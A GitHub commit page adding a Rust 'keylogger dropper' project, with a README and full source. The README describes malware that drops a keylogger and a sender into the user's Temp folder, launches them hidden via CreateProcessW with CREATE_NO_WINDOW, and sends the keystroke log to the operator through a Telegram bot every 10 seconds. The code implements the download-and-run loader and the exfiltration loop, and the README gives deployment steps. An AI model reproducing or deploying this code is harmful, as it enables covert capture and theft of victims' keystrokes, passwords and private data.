Skip to content

Commit 32cd541

Browse files
authored
Keylogger dropper
An Dropper that downloads keylogger and sender in Users temp, runs in background process and sends the .log files using telegram bot.
1 parent 6e12243 commit 32cd541

File tree

7 files changed

+255
-0
lines changed

7 files changed

+255
-0
lines changed

keylog_dropper/README.md

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
# Keyload dropper AKA Keylogger Dropper
2+
3+
### What is this ?
4+
5+
This is an dropper used to download keylogger and sender and exectute in background.
6+
7+
### How does it work ?
8+
9+
When you execute the dropper, The keylogger and its sender will be dropped at Users Temp directory.
10+
11+
Next, it will use windows API [CreateProcessW](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw) to execute the program as background.
12+
13+
It uses telegram bot to send the keycap.log(an file which stores keylog information) file for every 10 seconds. You can change the thread::sleep depend upon your needs
14+
15+
### How to implement it ?
16+
17+
Just Clone these and compile both the programs.
18+
19+
For key_exec: Change the URL.
20+
21+
For bot_send : Enter your telegram [BOT TOKEN](https://www.cytron.io/tutorial/how-to-create-a-telegram-bot-get-the-api-key-and-chat-id) and your [CHAT ID](https://www.alphr.com/find-chat-id-telegram/).
22+
23+
```
24+
cargo build --release
25+
```
26+
27+
Host the file anywhere and execute the key_exec.exe
28+
29+
### Demos.
30+
31+
![exection](./pic/pic1.png)
32+
33+
34+
35+
By 5mukx
36+

keylog_dropper/bot_send/Cargo.toml

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
[package]
2+
name = "bot_send"
3+
version = "0.1.0"
4+
edition = "2021"
5+
6+
[dependencies]
7+
reqwest = {version="0.12.5", features = ["blocking", "multipart"] }
8+
tokio = {version = "1.38.0", features= ["full"]}

keylog_dropper/bot_send/src/main.rs

Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
use std::fs::File;
2+
use std::thread;
3+
use std::time::Duration;
4+
use reqwest::blocking::{Client, multipart};
5+
use std::error::Error;
6+
use std::env::temp_dir;
7+
use std::path::PathBuf;
8+
9+
const TELEGRAM_BOT_TOKEN: &str = "ENTER YOU BOT TOKEN HERE";
10+
const TELEGRAM_CHAT_ID: &str = "ENTER YOUR CHAT ID";
11+
12+
13+
fn get_log_file_path() -> PathBuf {
14+
temp_dir().join("keycap.log")
15+
}
16+
17+
fn read_log_file() -> Result<File, Box<dyn Error>> {
18+
let file_path = get_log_file_path();
19+
let file = File::open(&file_path)?;
20+
Ok(file)
21+
}
22+
23+
fn send_file_to_telegram(file_path: &PathBuf) -> Result<(), Box<dyn Error>> {
24+
let client = Client::new();
25+
let url = format!(
26+
"https://api.telegram.org/bot{}/sendDocument",
27+
TELEGRAM_BOT_TOKEN
28+
);
29+
30+
let form = multipart::Form::new()
31+
.text("chat_id", TELEGRAM_CHAT_ID.to_string())
32+
.file("document", file_path)?;
33+
34+
let response = client.post(&url).multipart(form).send()?;
35+
36+
if response.status().is_success() {
37+
Ok(())
38+
} else {
39+
let response_text = response.text()?;
40+
println!("Response: {}", response_text);
41+
Err(Box::from(format!(
42+
"Failed to send file: {}",
43+
response_text
44+
)))
45+
}
46+
}
47+
48+
fn main() {
49+
loop {
50+
match read_log_file() {
51+
Ok(_) => {
52+
let file_path = get_log_file_path();
53+
match send_file_to_telegram(&file_path) {
54+
Ok(_) => {
55+
println!("Log file sent successfully.");
56+
}
57+
Err(e) => eprintln!("Failed to send log file: {}", e),
58+
}
59+
}
60+
Err(e) => eprintln!("Failed to read log file: {}", e),
61+
}
62+
63+
thread::sleep(Duration::from_secs(10));
64+
}
65+
}

keylog_dropper/key_exec/Cargo.toml

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
[package]
2+
name = "key_exec"
3+
version = "0.1.0"
4+
edition = "2021"
5+
6+
[dependencies]
7+
futures-util = "0.3.30"
8+
reqwest = {version= "0.12.5", features = ["blocking", "stream"]}
9+
tokio = {version = "1.38.0", features= ["full"]}
10+
widestring = "1.1.0"
11+
winapi = { version = "0.3.9", features = ["winuser","setupapi","wlanapi","winnls","fileapi","sysinfoapi", "fibersapi","debugapi","winerror", "wininet" , "winhttp" ,"synchapi","securitybaseapi","wincrypt","psapi", "tlhelp32", "heapapi","shellapi", "memoryapi", "processthreadsapi", "errhandlingapi", "winbase", "handleapi", "synchapi"] }

keylog_dropper/key_exec/src/main.rs

Lines changed: 135 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,135 @@
1+
use futures_util::StreamExt;
2+
use tokio::fs::File;
3+
use tokio::io::AsyncWriteExt;
4+
use reqwest::Client;
5+
use winapi::um::errhandlingapi::GetLastError;
6+
use std::env::temp_dir;
7+
use std::ptr::null_mut;
8+
use winapi::um::processthreadsapi::{CreateProcessW, PROCESS_INFORMATION, STARTUPINFOW};
9+
use winapi::um::winbase::CREATE_NO_WINDOW;
10+
use widestring::WideCString;
11+
12+
#[tokio::main]
13+
async fn main() {
14+
15+
// Replace your URL
16+
let url1 = "http://localhost/keylogger.exe";
17+
let url2 = "http://localhost/bot_send.exe";
18+
19+
let temp_path1 = temp_dir().join("keylog.exe");
20+
let temp_path2 = temp_dir().join("keylog_sender.exe");
21+
22+
let client = Client::new();
23+
24+
let download1 = download_file(&client, url1, &temp_path1);
25+
let download2 = download_file(&client, url2, &temp_path2);
26+
27+
let (result1, result2) = tokio::join!(download1, download2);
28+
29+
match (&result1, &result2) {
30+
(Ok(_), Ok(_)) => {
31+
println!("Both filed Deployed successfully.");
32+
33+
let execute1 = execute_file(&temp_path1);
34+
let execute2 = execute_file(&temp_path2);
35+
36+
let (exec_result1, exec_result2) = tokio::join!(execute1, execute2);
37+
38+
if exec_result1 && exec_result2 {
39+
println!("Both files executed in background.");
40+
} else {
41+
println!("Failed to execute one or both files in the background.");
42+
}
43+
}
44+
_ => {
45+
if let Err(e) = &result1 {
46+
println!("Failed to download file 1: {:?}", e);
47+
}
48+
if let Err(e) = &result2 {
49+
println!("Failed to download file 2: {:?}", e);
50+
}
51+
}
52+
}
53+
}
54+
55+
async fn download_file(client: &Client, url: &str, path: &std::path::Path) -> Result<(), Box<dyn std::error::Error>> {
56+
let response = client.get(url).send().await?;
57+
58+
if response.status().is_success() {
59+
let mut file = File::create(path).await?;
60+
61+
let mut stream = response.bytes_stream();
62+
while let Some(chunk) = stream.next().await {
63+
let chunk = chunk?;
64+
file.write_all(&chunk).await?;
65+
}
66+
67+
drop(file);
68+
Ok(())
69+
} else {
70+
Err(Box::new(std::io::Error::new(
71+
std::io::ErrorKind::Other,
72+
format!("Failed to download file: HTTP {}", response.status()),
73+
)))
74+
}
75+
}
76+
77+
async fn execute_file(path: &std::path::Path) -> bool {
78+
let exe_path = WideCString::from_str(path.to_string_lossy()).unwrap();
79+
80+
// let mut si = STARTUPINFOW {
81+
// cb: std::mem::size_of::<STARTUPINFOW>() as u32,
82+
// lpReserved: null_mut(),
83+
// lpDesktop: null_mut(),
84+
// lpTitle: null_mut(),
85+
// dwX: 0,
86+
// dwY: 0,
87+
// dwXSize: 0,
88+
// dwYSize: 0,
89+
// dwXCountChars: 0,
90+
// dwYCountChars: 0,
91+
// dwFillAttribute: 0,
92+
// dwFlags: 0,
93+
// wShowWindow: 0,
94+
// cbReserved2: 0,
95+
// lpReserved2: null_mut(),
96+
// hStdInput: null_mut(),
97+
// hStdOutput: null_mut(),
98+
// hStdError: null_mut(),
99+
// };
100+
101+
// OR
102+
103+
let mut si: STARTUPINFOW = unsafe{ std::mem::zeroed() };
104+
si.cb = std::mem::size_of::<STARTUPINFOW>() as u32;
105+
106+
let mut pi = PROCESS_INFORMATION {
107+
hProcess: null_mut(),
108+
hThread: null_mut(),
109+
dwProcessId: 0,
110+
dwThreadId: 0,
111+
};
112+
113+
let result = unsafe {
114+
CreateProcessW(
115+
null_mut(),
116+
exe_path.into_raw(),
117+
null_mut(),
118+
null_mut(),
119+
false as i32,
120+
CREATE_NO_WINDOW,
121+
null_mut(),
122+
null_mut(),
123+
&mut si,
124+
&mut pi,
125+
)
126+
};
127+
128+
if result != 0 {
129+
true
130+
} else {
131+
let error_code = unsafe { GetLastError() };
132+
println!("Failed to execute file in the background. Error code: {}", error_code);
133+
false
134+
}
135+
}

keylog_dropper/keylogger.exe

206 KB
Binary file not shown.

keylog_dropper/pic/pic1.png

387 KB
Loading

0 commit comments

Comments
 (0)